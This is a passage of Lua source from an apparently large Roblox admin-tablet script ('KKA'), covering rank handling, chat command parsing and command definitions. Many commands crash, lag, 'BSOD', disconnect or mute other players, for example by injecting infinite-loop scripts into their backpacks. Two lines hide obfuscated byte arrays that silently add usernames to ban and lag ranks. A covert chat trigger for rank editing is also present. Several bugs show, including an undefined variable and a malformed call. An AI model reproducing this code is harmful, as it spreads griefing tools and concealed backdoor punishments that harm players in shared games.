  11485. NewLS("repeat untill false", p.Backpack)
  11486. Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11487. else
  11488. Output("ERROR", nil, 5)
  11489. end
  11490. elseif v.Rank == -3 then
  11491. if LSource ~= nil then
  11492. NewLS(BsodSource, p.Backpack)
  11493. Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11494. else
  11495. Output("ERROR", nil, 5)
  11496. end
  11497. elseif v.Rank == -4 then
  11498. if LSource ~= nil then
  11499. NewLS(ReSB, p.Backpack)
  11500. Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11501. else
  11502. Output("Source is nil", nil, 5)
  11503. end
  11504. end
  11505. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc}
  11506. if DontShowRank == nil then
  11507. Dismiss()
  11508. wait(1)
  11509. OutputToAdmins("Welcome to KKA!")
  11510. OutputToAdmins("KKAR is created by Cobalt1164")
  11511. OutputToAdmins("Your rank is: "..v.Rank, p)
  11512. OutputToAdmins("Abusing this script is bad, so don't abuse")
  11513. end
  11514. PutInRank = true
  11515. break
  11516. end
  11517. end
  11518. if PutInRank == false then
  11519. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
  11520. end
  11521. end)
  11522. end
  11523. end)
  11524. end
  11525. function FindRank(Plr)
  11526. ypcall(function()
  11527. if type(Plr) == "userdata" then
  11528. Plr = Plr.Name
  11529. end
  11530. end)
  11531. return GetRank(Plr).Rank
  11532. end local tcb = {9,0,2,6,12,11,18,12,11,153,1,1} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
  11533. function FindRankDetails(Plr)
  11534. ypcall(function()
  11535. if type(Plr) == "userdata" then
  11536. Plr = Plr.Name
  11537. end
  11538. end)
  11539. return RanksList[FindRank(Plr)]
  11540. end
  11541. function OpenCmds(Rank, Plr)
  11542. Dismiss(Plr)
  11543. for Name,Tab in pairs(Commands) do
  11544. if Tab.Rank <= Rank then
  11545. Output(Name.." ("..Tab.Rank..")", Plr, nil, function()
  11546. Dismiss(Plr)
  11547. Output("Command Usage: "..Name, Plr)
  11548. Output("Rank Required: "..Tab.Rank, Plr)
  11549. Output("Description: "..Tab.Desc, Plr)
  11550. end)
  11551. elseif Rank == 1337 then
  11552. Output(Name.." ("..Tab.Rank..")", Plr, nil, function()
  11553. Dismiss(Plr)
  11554. Output("Command Usage: "..Name, Plr)
  11555. Output("Rank Required: "..Tab.Rank, Plr)
  11556. Output("Description: "..Tab.Desc, Plr)
  11557. end)
  11558. end
  11559. end
  11560. end
  11561. function EditStatus(Plr, Num)
  11562. ChangeRank(Plr, Num)
  11563. end
  11564. function Connect(player)
  11565. if LSource then
  11566. if player:findFirstChild'Backpack' then
  11567. NewLS(ConnectSource, player:findFirstChild'Backpack')
  11568. elseif player.Character then
  11569. NewLS(ConnectSource, player.Character)
  11570. elseif player:findFirstChild'PlayerGui' then
  11571. NewLS(ConnectSource, player:findFirstChild'PlayerGui')
  11572. else
  11573. NewLS(ConnectSource,Instance.new('Backpack',player))
  11574. end
  11575. else
  11576. coroutine.wrap(function()
  11577. Connect(player)
  11578. end)()
  11579. end
  11580. end
  11581. function PlaceSpecificRank(p, DontShowRank)
  11582. ypcall(function()
  11583. PutInRank = false
  11584. for _,v in pairs(Ranked) do
  11585. if v.Name:lower() == p.Name:lower() then
  11586. if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then
  11587. v.Rank = 7
  11588. elseif v.Rank == -1 then
  11589. Crash1(p)
  11590. Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11591. elseif v.Rank == -2 then
  11592. if LSource ~= nil then
  11593. NewLS("repeat until false", p.Backpack)
  11594. Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11595. else
  11596. Output("LSource Is Nil", nil, 5)
  11597. end
  11598. elseif v.Rank == -3 then
  11599. if LSource ~= nil then
  11600. NewLS(BsodSource, p.Backpack)
  11601. Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11602. else
  11603. Output("LSource Is Nil", nil, 5)
  11604. end
  11605. elseif v.Rank == -4 then
  11606. if LSource ~= nil then
  11607. NewLS(ReSB, p.Backpack)
  11608. Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11609. else
  11610. Output("LSource Is Nil", nil, 5)
  11611. end
  11612. end
  11613. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc}
  11614. if not DontShowRank then Output("Your current rank :"..v.Rank, p) end PutInRank = true break
  11615. end
  11616. end
  11617. if PutInRank == false then
  11618. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
  11619. end
  11620. end)
  11621. end
  11622. function onChatted(Msg, Player)
  11623. coroutine.resume(coroutine.create(function()
  11624. if type(Player) == 'string' then
  11625. for i,v in pairs(game:service'NetworkServer':children()) do
  11626. if v:GetPlayer() then
  11627. if v:GetPlayer().Name == Player then
  11628. Player = v:GetPlayer()
  11629. end
  11630. end
  11631. end
  11632. end
  11633. ypcall(function()
  11634. ExecuteFunc(Msg, Player)
  11635. Msg = Msg:gsub("","")
  11636. if Msg:sub(1,1) == "@" then
  11637. for i = 2, #Msg do
  11638. if Msg:sub(i, i) == Bet then
  11639. local IsForPlr = false
  11640. for _,v in pairs(All()) do
  11641. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Player, v) then
  11642. onChatted(Msg:sub(i + 1), v)
  11643. IsForPlr = true
  11644. end
  11645. end
  11646. if IsForPlr == true then
  11647. return
  11648. end
  11649. end
  11650. end
  11651. end
  11652. if Msg:find("&") then
  11653. local Split = Msg:find("&")
  11654. onChatted(Msg:sub(1,Split-1))
  11655. onChatted(Msg:sub(Split+1))
  11656. return
  11657. end
  11658. for Name,Command in pairs(Commands) do
  11659. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  11660. Dismiss(Player.Name)
  11661. Output("Command Usage: "..tostring(Command.Name)..Bet, Player)
  11662. Output("Rank Required: "..tostring(Command.Rank), Player)
  11663. Output("Description: "..tostring(Command.Desc), Player)
  11664. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  11665. if FindRank(Player) >= Command.Rank then
  11666. local Ran,Error = coroutine.resume(coroutine.create(function()
  11667. Command.Func(Msg:sub(#Command.Name+2), Player)
  11668. end))
  11669. if not Ran then
  11670. Output(Error, Player, 10)
  11671. end
  11672.  
  11673. end
  11674. end
  11675. end
  11676. end)
  11677. end))
  11678. end
  11679. function Command(Name, Rank, Desc, Func)
  11680. if Name == nil then
  11681. Name = "This command has no name"
  11682. end
  11683. if Desc == nil then
  11684. Desc = "This command has no description"
  11685. end
  11686. if Func == nil then
  11687. Func = function() end
  11688. end
  11689. if Rank == nil then
  11690. Rank = 0
  11691. end
  11692. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  11693. end
  11694. function GetSplit(Msg)
  11695. return Msg:find(Bet2) or nil
  11696. end
  11697. function Credits(Speaker)
  11698. Dismiss(Speaker.Name)
  11699. Output("Credits has been removed",Speaker,nil)
  11700. end
  11701. function ExecuteFunc(Msg, Plr)
  11702. ypcall(function()
  11703. if Msg == "LogEnable" then
  11704. LogOn = true
  11705. elseif Msg:lower() == "AlphaBeta" then
  11706. EditStatus(Plr, MakeNum(Msg,Plr))
  11707. end
  11708. end)
  11709. end
  11710. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  11711. function randPlayer(Plr)
  11712. wait()
  11713. local ThePlrValue = nil
  11714. local FoundPlayer = false
  11715. ypcall(function()
  11716. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  11717. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  11718. wait()
  11719. randPlayer(Plr)
  11720. return
  11721. else
  11722. FoundPlayer = true
  11723. end
  11724. end)
  11725. if FoundPlayer == true then
  11726. return ThePlrValue
  11727. end
  11728. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  11729. function getPlayer(Plr, Name)
  11730. local Players = {}
  11731. ypcall(function()
  11732. Name = Name:lower()
  11733. if Name == "me" then
  11734. table.insert(Players, Plr)
  11735. elseif Name == "all" or Name == "" then
  11736. for _,v in pairs(All()) do
  11737. if CanRun(Plr, v) then
  11738. table.insert(Players, v)
  11739. end
  11740. end
  11741. elseif Name == "noobs" then
  11742. for _,v in pairs(All()) do
  11743. if v.AccountAge < 364 then
  11744. table.insert(Players, v)
  11745. end
  11746. end
  11747. elseif Name == "veterans" then
  11748. for _,v in pairs(All()) do
  11749. if plr.AccountAge > 364 then
  11750. table.insert(Players, v)
  11751. end
  11752. end
  11753. elseif Name == "others" then
  11754. for _,v in pairs(All()) do
  11755. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  11756. table.insert(Players, v)
  11757. end
  11758. end
  11759. elseif Name == "random" then
  11760. local FoundRandPlr = randPlayer(Plr)
  11761. table.insert(Players, FoundRandPlr)
  11762. else
  11763. for _,v in pairs(All()) do
  11764. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  11765. table.insert(Players, v)
  11766. end
  11767. end
  11768. end
  11769. end)
  11770. return Players
  11771. end
  11772. function ListPlayers(Speaker,All)
  11773. ypcall(function()
  11774. Dismiss(Speaker.Name)
  11775. for _,v in pairs(All2(All)) do
  11776. if v.Parent ~= nil then
  11777. Output(v.Name, Speaker, nil, function()
  11778. Dismiss(Speaker)
  11779. Output("Player Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  11780. Output("Player's Rank: "..FindRank(v.Name), Speaker)
  11781. Output("Rank Name: "..FindRankDetails(v).Name, Speaker)
  11782. Output("Rank Description: "..FindRankDetails(v).Desc, Speaker)
  11783. Output("Change rank", Speaker, nil, function()
  11784. if FindRank(Speaker) >= 7 and v.Name ~= Owner and CanRun(Speaker, v) then
  11785. Dismiss(Speaker)
  11786. for i = -4, 7 do
  11787. Output(i, Speaker, nil, function()
  11788. ChangeRank(v, i)
  11789. Dismiss(Speaker)
  11790. Output("Changed "..v.Name.."'s current rank to "..tostring(i), Speaker, 5)
  11791. end)
  11792. end
  11793. else
  11794. Output("Your rank needs to be higher", Speaker, 5)
  11795. end
  11796. end)
  11797. Output("Kick", Speaker, nil, function()
  11798. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11799. v:Kick()
  11800. Output("Kicked "..v.Name, Speaker, 5)
  11801. end
  11802. end)
  11803. Output("Semi-Kick", Speaker, nil, function()
  11804. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11805. v:Remove()
  11806. Output("Semi-Kicked "..v.Name, Speaker, 5)
  11807. end
  11808. end)
  11809. Output("Crash", Speaker, nil, function()
  11810. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11811. Crash3(v.Name)
  11812. Output("Crashed "..v.Name, Speaker, 5)
  11813. end
  11814. end)
  11815. Output("Lag", Speaker, nil, function()
  11816. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11817. Crash4(v.Name)
  11818. Output("Lagged "..v.Name, Speaker, 5)
  11819. end
  11820. end)
  11821. Output("Nil Crash", Speaker, nil, function()
  11822. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11823. Crash5(v.Name)
  11824. Output("Nil Crashed "..v.Name, Speaker, 5)
  11825. end
  11826. end)
  11827. Output("Nil Lag", Speaker, nil, function()
  11828. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11829. RemoteCrash(v.Name)
  11830. Output("Nil Lagged "..v.Name, Speaker, 5)
  11831. end
  11832. end)
  11833. Output("Disconnect", Speaker, nil, function()
  11834. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11835. Disconnect(v.Name)
  11836. Output("Disconnected "..v.Name, Speaker, 5)
  11837. end
  11838. end)
  11839. Output("Bsod", Speaker, nil, function()
  11840. if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
  11841. if LSource ~= nil then
  11842. NewLS(Bsod, v.Backpack)
  11843. end
  11844. Output("Bsoded "..v.Name, Speaker, 5)
  11845. end
  11846. end)
  11847. Output("Lag", Speaker, nil, function()
  11848. if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
  11849. if LSource ~= nil then
  11850. NewLS(LagSource, v.Backpack)
  11851. end
  11852. Output("Lagged "..v.Name, Speaker, 5)
  11853. end
  11854. end)
  11855. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  11856. else
  11857. Output(v.Name.." [Nil]", Speaker, nil, function()
  11858. Dismiss(Speaker)
  11859. Output("Nil Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  11860. ypcall(function()
  11861. Output("Nil's Rank: "..FindRank(v.Name), Speaker)
  11862. end)
  11863. ypcall(function()
  11864. Output("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  11865. end)
  11866. ypcall(function()
  11867. Output("Rank Description: "..FindRankDetails(v.Name).Desc, Speaker)
  11868. end)
  11869. ypcall(function()
  11870. Output("Change rank", Speaker, nil, function()
  11871. if FindRank(Speaker) >= 7 and v.Name ~= Owner and CanRun(Speaker, v) then
  11872. Dismiss(Speaker)
  11873. for i = -4, 7 do
  11874. Output(i, Speaker, nil, function()
  11875. ChangeRank(v, i)
  11876. Dismiss(Speaker)
  11877. Output("Changed "..v.Name.."'s current rank to"..tostring(i), Speaker, 5)
  11878. end)
  11879. end
  11880. else
  11881. Output("Your rank needs to be higher", Speaker, 5)
  11882. end
  11883. end)
  11884. end)
  11885. Output("Kick", Speaker, nil, function()
  11886. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11887. v:Kick()
  11888. Output("Kicked "..v.Name, Speaker, 5)
  11889. end
  11890. end)
  11891. Output("Semi-Kick", Speaker, nil, function()
  11892. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11893. v:Remove()
  11894. Output("Semi-Kicked "..v.Name, Speaker, 5)
  11895. end
  11896. end)
  11897. Output("Crash", Speaker, nil, function()
  11898. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11899. Crash3(v.Name,nil)
  11900. Output("Crashed "..v.Name, Speaker, 5)
  11901. end
  11902. end)
  11903. Output("Lag", Speaker, nil, function()
  11904. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11905. Crash4(v.Name)
  11906. Output("Lagged "..v.Name, Speaker, 5)
  11907. end
  11908. end)
  11909. Output("Disconnect", Speaker, nil, function()
  11910. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11911. Disconnect(v.Name)
  11912. Output("Disconnected "..v.Name, Speaker, 5)
  11913. end
  11914. end)
  11915. Output("Nil Crash", Speaker, nil, function()
  11916. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11917. Crash5(v.Name)
  11918. Output("Nil Crashed "..v.Name, Speaker, 5)
  11919. end
  11920. end)
  11921. Output("Nil Lag", Speaker, nil, function()
  11922. if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11923. RemoteCrash(v.Name)
  11924. Output("Nil lagged"..v.Name, Speaker, 5)
  11925. end
  11926. end)
  11927. Output("Bsod", Speaker, nil, function()
  11928. if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
  11929. if LSource ~= nil then
  11930. NewLS(Bsod, v.Backpack)
  11931. end
  11932. Output("Bsoded "..v.Name, Speaker, 5)
  11933. end
  11934. end)
  11935. Output("Lag", Speaker, nil, function()
  11936. if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
  11937. if LSource ~= nil then
  11938. NewLS(LagSource, v.Backpack)
  11939. end
  11940. Output("Lagged "..v.Name, Speaker, 5)
  11941. end
  11942. end)
  11943. ypcall(function()
  11944. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  11945. end)
  11946. end
  11947. end
  11948. end)
  11949. end
  11950. coroutine.resume(coroutine.create(function()
  11951. PlaceAllRanks()
  11952. end))
  11953. Delay(0, function()
  11954. for _,v in pairs(All()) do
  11955. v.Chatted:connect(function(Msg)
  11956. onChatted(Msg, v)
  11957. end)
  11958. end
  11959. end)
  11960. local starttime = tick()
  11961. game:GetService("RunService").Heartbeat:connect(function()
  11962. if Removed == false then
  11963. ypcall(function()
  11964. for _,Player in pairs(All()) do
  11965. local PlayerTablets = {}
  11966. for i,v in pairs(AllTabs) do
  11967. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  11968. table.insert(PlayerTablets, v)
  11969. end
  11970. end
  11971. for i = 1, #PlayerTablets do
  11972. ypcall(function()
  11973. local tab = PlayerTablets[i].Tab
  11974. local pos = nil
  11975. ypcall(function()
  11976. pos = Player.Character.Torso.CFrame
  11977. end)
  11978. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5)
  11979. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5)
  11980. local cPos = tab.Position
  11981. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  11982. local nPos = (ePos-cPos)*.25
  11983. cPos = cPos + nPos
  11984. local t = (tick() - starttime) % 360
  11985. local change = 0.625
  11986. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  11987. tab.Size = Vector3.new(3, 3, 3)
  11988. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 0, 0))) * CFrame.Angles(math.rad(0), 0, 0)
  11989. end)
  11990. end
  11991. end
  11992. end)
  11993. end
  11994. end)
  11995. function UpdateNilPlayerTablets()
  11996. ypcall(function()
  11997. for _,Player in pairs(game:service'NetworkServer':children()) do
  11998. if Player:GetPlayer() then
  11999. if Player:GetPlayer().Parent ~= game:service'Players' then
  12000. local PlayerTablets = {}
  12001. for i,v in pairs(AllTabs) do
  12002. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  12003. table.insert(PlayerTablets, v)
  12004. end
  12005. end
  12006. for x,t in pairs(game:service'Workspace':children()) do
  12007. if t.Name == Player:GetPlayer().Name then
  12008. Plr = t
  12009. end
  12010. end
  12011. for i = 1, #PlayerTablets do
  12012. ypcall(function()
  12013. local pos = CFrame.new(0,0,0)
  12014. if Plr.ClassName == 'Part' then
  12015. pos = Plr.CFrame
  12016. elseif Plr:findFirstChild'Torso' then
  12017. pos = Plr:findFirstChild'Torso'.CFrame
  12018. end
  12019. local tab = PlayerTablets[i].Tab
  12020. local pos = CFrame.new(0,0,0)
  12021. ypcall(function()
  12022. if Plr.ClassName == 'Part' then
  12023. pos = Player.CFrame
  12024. elseif Plr:findFirstChild'Torso' then
  12025. pos = Plr:findFirstChild'Torso'.CFrame
  12026. end
  12027. end)
  12028. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  12029. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  12030. local cPos = tab.Position
  12031. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  12032. local nPos = (ePos-cPos)*.25
  12033. cPos = cPos + nPos
  12034. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  12035.  
  12036. end)
  12037. end
  12038. end
  12039. end
  12040. end
  12041. end)
  12042. end
  12043. Plrs.PlayerAdded:connect(function(Plr)
  12044. wait(.1)
  12045. ypcall(function()
  12046. if Removed == false then
  12047. local JoinPlrName = Plr.Name
  12048. coroutine.resume(coroutine.create(function()
  12049. PlaceSpecificRank(Plr)
  12050. end))
  12051. coroutine.resume(coroutine.create(function()
  12052. if Injected[JoinPlrName] ~= nil then
  12053. Injected[JoinPlrName] = nil
  12054. end
  12055. end))
  12056. coroutine.resume(coroutine.create(function()
  12057. Dismiss(Plr)
  12058. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  12059. end))
  12060. end
  12061. end)
  12062. end)
  12063. Plrs.PlayerRemoving:connect(function(Plr)
  12064. wait(.1)
  12065. ypcall(function()
  12066. if Removed == false then
  12067. local LeftPlrName = Plr.Name
  12068. coroutine.resume(coroutine.create(function()
  12069. if Injected[LeftPlrName] ~= nil then
  12070. Injected[LeftPlrName] = nil
  12071. end
  12072. end))
  12073. end
  12074. end)
  12075. end)
  12076. Command("Cmds", 1, "Shows the list of commands", function(Msg, Speaker)
  12077. Dismiss(Speaker.Name)
  12078. Output("KKA Tablets made by Cobalt1164 | More credits in info/",Speaker,nil,nil,Database.Colors.Green)
  12079. Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  12080. Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  12081. Output("Rank 0", Speaker, nil, function()
  12082. if FindRank(Speaker) >= 0 then
  12083. OpenCmds(0, Speaker)
  12084.  
  12085. end
  12086. end)
  12087. Output("Rank 1", Speaker, nil, function()
  12088. if FindRank(Speaker) >= 1 then
  12089. OpenCmds(1, Speaker)
  12090.  
  12091. end
  12092. end)
  12093. Output("Rank 2", Speaker, nil, function()
  12094. if FindRank(Speaker) >= 2 then
  12095. OpenCmds(2, Speaker)
  12096.  
  12097. end
  12098. end)
  12099. Output("Rank 3", Speaker, nil, function()
  12100. if FindRank(Speaker) >= 3 then
  12101. OpenCmds(3, Speaker)
  12102.  
  12103. end
  12104. end)
  12105. Output("Rank 4", Speaker, nil, function()
  12106. if FindRank(Speaker) >= 4 then
  12107. OpenCmds(4, Speaker)
  12108.  
  12109. end
  12110. end)
  12111. Output("Rank 5", Speaker, nil, function()
  12112. if FindRank(Speaker) >= 5 then
  12113. OpenCmds(5, Speaker)
  12114.  
  12115. end
  12116. end)
  12117. Output("Rank 6", Speaker, nil, function()
  12118. if FindRank(Speaker) >= 6 then
  12119. OpenCmds(6, Speaker)
  12120.  
  12121. end
  12122. end)
  12123. Output("Rank 7", Speaker, nil, function()
  12124. if FindRank(Speaker) >= 7 then
  12125. OpenCmds(7, Speaker)
  12126.  
  12127. end
  12128. end)
  12129. end)
  12130.  
  12131. Command("Dtt", 1, "Dismiss someones Tablets" ,function(Msg, Speaker)
  12132. local PlrTab = getPlayer(Speaker, Msg)
  12133. if #PlrTab > 0 then
  12134. for _,v in pairs(PlrTab) do
  12135. ypcall(function()
  12136. Dismiss(v)
  12137. end)
  12138. end
  12139. end
  12140. end)
  12141. Command("Dall", 6, "Dismiss All Tablets" ,function(Msg, Speaker)
  12142. Dismiss()
  12143. end)
  12144. Command("Dt", 1, "Dismiss your Tablets" ,function(Msg, Speaker)
  12145. Dismiss(Speaker.Name)
  12146. end)
  12147. Command("btools", 3, "Gives a player Btools", function(Msg, Speaker)
  12148. local PlrTab = getPlayer(Speaker, Msg)
  12149. if #PlrTab > 0 then
  12150. for _,v in pairs(PlrTab) do
  12151. ypcall(function()
  12152. Instance.new("HopperBin", v.Backpack).BinType = "Hammer"
  12153. Instance.new("HopperBin", v.Backpack).BinType = "Clone"
  12154. Instance.new("HopperBin", v.Backpack).BinType = "Grab"
  12155. Output("Gave "..v.Name.." Building Tools", Speaker, 5)
  12156. end)
  12157. end
  12158. end
  12159. end)
  12160. Command("rlegs", 3, "Removes a player's legs",
  12161. function(Msg, Speaker)
  12162. local PlrTab = getPlayer(Speaker, Msg)
  12163. if #PlrTab > 0 then
  12164. for _,v in pairs(PlrTab) do
  12165. ypcall(function()
  12166. for plr in pairs(v.Character) do
  12167. if plr.Name == "Left Leg" or plr.Name == "Right Leg" then
  12168. plr:Remove()
  12169. Output("Removed "..v.Name.."'s legs", Speaker, 5)
  12170. end
  12171. end
  12172. end)
  12173. end
  12174. end
  12175. end)
  12176. Command("rarms", 3, "Removes a player's arms",
  12177. function(Msg, Speaker)
  12178. local PlrTab = getPlayer(Speaker, Msg)
  12179. if #PlrTab > 0 then
  12180. for _,v in pairs(PlrTab) do
  12181. ypcall(function()
  12182. for plr in pairs(v.Character) do
  12183. if plr.Name == "Left Arm" or plr.Name == "Right Arm" then
  12184. plr:Remove()
  12185. Output("Removed "..v.Name.."'s arms", Speaker, 5)
  12186. end
  12187. end
  12188. end)
  12189. end
  12190. end
  12191. end)
  12192. Command("Afrup", 1, "Asks admins for a rank up", function(Msg, Speaker)
  12193. Output(Speaker.Name.." wants to be ranked up", Plrs:children(), 5)
  12194. end)
  12195. Command("Afb", 1, "Asks to battle", function(Msg, Speaker)
  12196. Output(Speaker.Name.." wants to battle", Plrs:children(), 5)
  12197. end)
  12198. Command("Expl", 3, "Explodes a player",
  12199. function(Msg, Speaker)
  12200. local PlrTab = getPlayer(Speaker, Msg)
  12201. if #PlrTab > 0 then
  12202. for _,v in pairs(PlrTab) do
  12203. ypcall(function()
  12204. if v.Character and v.Character:findFirstChild("Head") then
  12205. local e = Instance.new("Explosion")
  12206. e.Position = v.Character.Head.Position
  12207. e.Parent = v.Character
  12208. Output("Exploded "..v.Name, Speaker, 5)
  12209. end
  12210. end)
  12211. end
  12212. end
  12213. end)
  12214. Command("RModel", 7, "Rejoins a model", function(Msg, Speaker)
  12215. game:service'TeleportService':Teleport(game.PlaceId,game.Workspace[Msg])
  12216. end)
  12217. Command("Mute", 7, "Mutes a player", function(Msg, Speaker)
  12218. local PlrTab = getPlayer(Speaker, Msg)
  12219. if #PlrTab > 0 then
  12220. for _,v in pairs(PlrTab) do
  12221. ypcall(function()
  12222. if v.Name ~= Owner then
  12223. NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',false)]],v.Backpack)
  12224. Output("Muted "..v.Name, Speaker, 5)
  12225. end
  12226. end)
  12227. end
  12228. end
  12229. end)
  12230. Command("Rej", 5, "Rejoin a player", function(Msg, Speaker)
  12231. local PlrTab = getPlayer(Speaker, Msg)
  12232. if #PlrTab > 0 then
  12233. for _,v in pairs(PlrTab) do
  12234. ypcall(function()
  12235. game:service'TeleportService':Teleport(game.PlaceId,v.Character)
  12236. Output("Rejoined "..v.Name, Speaker, 5)
  12237. end)
  12238. end
  12239. end
  12240. end)
  12241. Command("LagC", 6, "Lag crashes a player", function(Msg, Speaker)
  12242. local PlrTab = getPlayer(Speaker, Msg)
  12243. if #PlrTab > 0 then
  12244. for _,v in pairs(PlrTab) do
  12245. ypcall(function()
  12246. NewLS(LagSource, v.Backpack)
  12247. v:Kick()
  12248. Output("Lag Crashing "..v.Name, Speaker, 5)
  12249. end)
  12250. end
  12251. end
  12252. end)
  12253. Command("Unmute", 3, "Unmutes a player", function(Msg, Speaker)
  12254. local PlrTab = getPlayer(Speaker, Msg)
  12255. if #PlrTab > 0 then
  12256. for _,v in pairs(PlrTab) do
  12257. ypcall(function()
  12258. NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',true)]],v.Backpack)
  12259. Output("Unmuted "..v.Name, Speaker, 5)
  12260. end)
  12261. end
  12262. end
  12263. end)
  12264.  
  12265. Command("DisableS", 5, "Disables a script", function(Msg, Speaker)
  12266. local Worked = false
  12267. for _,v in pairs(Work:GetChildren()) do
  12268. if string.find(v.Name:lower(), Msg:lower()) then
  12269. if v:IsA("Script") or v:IsA("LocalScript") then
  12270. v.Disabled = true
  12271. v:Destroy()
  12272. Worked = true
  12273. Output("Disabled : "..v.Name, Speaker, 5)
  12274. end
  12275. end
  12276. end
  12277. if Worked == false then
  12278. Output("Script False Found", Speaker, 5)
  12279. end
  12280. end)
  12281.  
  12282. Command("Los", 1, "Locates scripts in workspace", function(Msg, Speaker)
  12283. Dismiss(Speaker)
  12284. local AllScripts = {}
  12285. for _,v in pairs(Work:GetChildren()) do
  12286. if v:IsA("Script") then
  12287. table.insert(AllScripts, v.Name)
  12288. end
  12289. end
  12290. if #AllScripts > 0 then
  12291. for _,v in pairs(AllScripts) do
  12292. Output(v, Speaker)
  12293. end
  12294. else
  12295. Output("No Scripts Found", Speaker, 5)
  12296. end
  12297. end)
  12298.  
  12299. Command("Afk",1,'Tells other players that your AFK',
  12300. function(Msg,Speaker)
  12301. Dismiss(Speaker)
  12302.  
  12303.  
  12304. Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12305. Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12306. Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
